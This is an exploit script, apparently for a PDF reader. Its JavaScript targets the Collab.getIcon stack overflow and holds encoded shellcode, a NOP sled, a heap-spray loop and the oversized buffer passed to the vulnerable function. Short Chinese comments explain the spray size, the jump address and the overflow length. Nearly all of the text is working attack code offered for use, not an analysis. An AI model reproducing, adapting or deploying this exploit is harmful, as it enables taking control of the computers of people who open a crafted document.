Var shellcode = unescape(
"%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33%u6853%u7361%u7563%u7068%u6e61%u8b64%u53c4%u5050%uff53%ufc57%uff53%uf857"
);
garbage = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090"
);
while
(garbage.length < 0x100)
garbage += garbage;
garbage += shellcode;
nopblock = unescape(
"%u9090%u9090"
);
headersize = 16;
acl = headersize + garbage.length;
while
(nopblock.length < acl)
nopblock += nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length - acl);
while
(block.length + acl < 0x26000)
block = block + block + fillblock;
memory = new Array();
for
(i=0;i<1024;i++)
memory[i] = block + garbage;
//heap
spray(堆喷射),需要说明的是要分配1024块512k(具体是0x81000,可以用od看到)大小的堆
var buffer = unescape(
"%0a%0b%0a%0b"
);
//0x0b0a0b0a
是漏洞触发后要跳到的地方,这个值很灵活的
while
(buffer.length < 0x6000)
//
这里规定了栈溢出需要的长度,后面分析发现是不需要这么大的
buffer += buffer;
app.doc.Collab.getIcon(buffer+
'pwn3D.BYkralor'
);
//
引起漏洞的函数